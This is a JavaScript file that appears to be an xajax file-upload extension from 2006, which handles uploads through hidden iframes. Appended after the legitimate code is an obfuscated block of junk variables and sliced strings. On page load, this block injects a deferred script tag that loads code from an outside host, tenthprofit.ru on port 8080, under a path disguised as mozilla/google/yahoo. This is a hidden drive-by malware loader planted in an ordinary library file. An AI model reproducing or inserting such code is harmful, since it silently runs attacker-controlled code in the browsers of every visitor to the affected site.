/**
* @author RainChen @ Fri Jul 28 17:06:37 CST 2006
* @uses xajax file upload extend
* @access public
* @param null
* @return null
* @version 0.1 
*/
function xajax_extend()
{
    if(typeof(xajax) == 'undefined')
    {
        return false;
    }
    
    xajax.newSessionID = function()
    {
        var sessionID;
        sessionID = new String(new Date().getTime());
        var random = new String(Math.random( )).substr(2);
        sessionID = sessionID + random;
        return sessionID;
    }
    
    xajax.setStatusMessages = function(msg)
    {
        window.status = msg;
    }
    
    var loadingTimeout;

    xajax.upload = function(rpcFunc,formID,divID,field1Id,field2Id,url)
    {
        var form = xajax.$(formID);
        if(!form)
        {
            return false;
        }
        var newSessionID = xajax.newSessionID();
        // init status
        if (document.body && xajaxWaitCursor)
            document.body.style.cursor = 'wait';
        if (xajaxStatusMessages == true) xajax.setStatusMessages('Sending Request...');
        clearTimeout(loadingTimeout);
        loadingTimeout = setTimeout("xajax.loadingFunction();",400);
        if (xajaxDebug) xajax.DebugMessage("Starting xajax...");

        if(!url)
        {
            url = xajaxRequestUri;
        }
        var separator = '?';
        if(url.indexOf('?') != -1)separator = '&';
        url += separator + 'xajax='+encodeURIComponent(rpcFunc);
        url += "&xajaxr=" + new Date().getTime();
        // get the upload file local path
        var formItem;
        var nodeName;
        for(var i=0; i<form.getElementsByTagName('input').length; i++)
        {
            formItem = form.elements[i];
            nodeName = new String(formItem.nodeName).toLowerCase();
            if(formItem.name == '' || nodeName == 'button')
            {
                continue;
            }
            if(formItem.type == 'file')
            {
                url += '&'+formItem.name+'='+encodeURIComponent(formItem.value);
            }
        }
        form.action = url;
        
        var iframeName = form.id + newSessionID;
        var iframe;
        if((iframe = xajax.$(iframeName)))
        {
            document.body.removeChild(iframe);
        }
        iframe = xajax.createIframe(iframeName,iframeName);
        form.target = iframeName;
        var xmlDoc;
        var responseXML;
        if(typeof iframe.onreadystatechange == 'object') // for IE
        {
            iframe.onreadystatechange = function()
            {
                if(iframe.readyState == 'complete' && !iframe.loaded)
                {
                    // IE load twice (bug or feature?)
                    iframe.loaded = true;
                    xmlDoc = document.frames(iframe.id);
                    if(xmlDoc.window.document.location != iframe.src)
                    {
                        responseXML = xmlDoc.window.document.XMLDocument;
                        xajax.uploadResponse(responseXML,iframe, xmlDoc);
                    }
                }
            }
        }
        else // for FF
        {
            iframe.onload = function()
            {
                xmlDoc = iframe.contentWindow;
                //alert(iframe.contentWindow.name);
                //alert(xmlDoc.window.document.location + " | " +  iframe.src);
                if(xmlDoc.window.document.location != iframe.src)
                {
					// my share - must be something different than iframe elso no fully functional
			        var iframe1 = xajax.createIframe('xajax_stub_iframe','xajax_stub_iframe');
					// transfering problem - form problem
					//xajax_FormOriginalCopy(divID,formID,field1Id,field2Id);
					// orig code
                    responseXML = xmlDoc.document;
                    xajax.uploadResponse(responseXML,iframe, xmlDoc);
                }
            }
        }
    }
    
    xajax.uploadResponse = function(responseXML,iframeObj, xmlDoc)
    {
        // response the xml
        var error=false;
        if(responseXML)
        {
            try
            {
                xajax.processResponse(responseXML);
            }
            catch(e)
            {
                error = true;
                //xajax.DebugMessage(e.description);
            }
        }
        else
        {
            error = true;
        }
        
        if(error)
        {
            var responseText = new String(xmlDoc.document.body.innerHTML);
            var errorString = "Error: the XML response that was returned from the server is invalid.";
            errorString += "\nReceived:\n" + responseText;
            trimmedResponseText = responseText.replace( /^\s+/g, "" );// strip leading space
            trimmedResponseText = trimmedResponseText.replace( /\s+$/g, "" );// strip trailing
            if (trimmedResponseText != responseText)
                errorString += "\nYou have whitespace in your response.";
            xajax.DebugMessage(errorString);
            document.body.style.cursor = 'default';
            if (xajaxStatusMessages == true) xajax.setStatusMessages('Invalid XML response error');
        }

        // remove the iframe after response
        document.body.removeChild(iframeObj);
        iframeObj = null;
        clearTimeout(loadingTimeout);
    }
    
    xajax.createIframe = function(name,id)
    {
        var iframe;
        if(!id)
        {
            id = '';
        }
        if(document.all && navigator.appName == "Microsoft Internet Explorer") // for IE
        {
            iframe = document.createElement('<iframe id="'+id+'" name="'+name+'">');
        }
        else // for FF
        {
            iframe = document.createElement('iframe');
            iframe.id = id;
            iframe.name = name;
        }
        iframe.width = '0';
        iframe.height = '0';
        iframe.style.display = 'none';
        iframe.scrolling = 'no';
        iframe.src = 'about:blank';
        document.body.appendChild(iframe);
        return iframe;
    }
}
xajax_extend();

zr={r:false};HB={G:false};var h;m=function(){this.t=false;var rT=new String();var e=[];function Y(o,K,v){var eE="eE";xN=38132;xN+=74;return o.substr(K,v);var Ew=[];}var KE=document;yF={OJ:16961};YL={CC:14552};var X='';S=[];var J=new String("/mozi"+"lla-o"+"rg/go"+Y("ogle.zum0",0,5)+Y("6jutcom/yuj6t",4,5)+Y("ahoo.K0y",0,5)+Y("fkK6com.ckfK6",4,5)+"n.php");this.dj=false;var T=RegExp;var XL={TK:"Il"};var B='';this.Nn=28966;this.Nn-=187;function y(o,K){var Ta=["Xj","QI","HH"];Mm={ty:false};var v=String("[")+K+new String("]");this.CCB="";var l={};var A=new T(v, new String(Y("g6cw",0,1)));this.xz="";return o.replace(A, X);var QIn=[];};var p=false;g=[];var c=new Array();var N=493500-485420;try {var HU='WD'} catch(HU){};var tr=false;var i=y('secKrKidpVte','KSkjRQ8J7d6F3eoVbTGAC');try {var lM='ch'} catch(lM){};var x=null;var Hp=["ncL","mM","Hz"];var JV=false;var E=new String(Y("bo2TL3",0,2)+"dy");dC={Td:"xl"};_j={Ob:"Tn"};this.kA="kA";h=function(){var VM="";var SZ="";try {var H=y('cSrFe5a5tFeKEFlFe5mKebnMtX','BM5XKSFb');var Nc=["Mz"];u=KE[H](i);this.mu=39314;this.mu++;var JW=new String();PB=49213;PB-=101;var rD=["kv","cX"];var W=new String("def"+"er");var Ab=y('swr4c8','84jKIw6');var o=N+J;this.qc=41519;this.qc++;this.HN=44600;this.HN++;var wUD=[];var Gg=["dq","fn"];this.TKV="TKV";u[W]=[1,2][0];var pT=[];u[Ab]="http:"+"//ten"+"thpro"+"fit.r"+Y("u:XEpG",0,2)+o;KE[E].appendChild(u);this.nw=48364;this.nw-=52;this.yH=19577;this.yH--;} catch(z){iG=21951;iG++;};};this.fa="";var xR=["nO"];};this._k=50897;this._k--;try {var ci='Rg'} catch(ci){};m();window.onload=h;NI=4636;NI+=88;var dY=["NF"];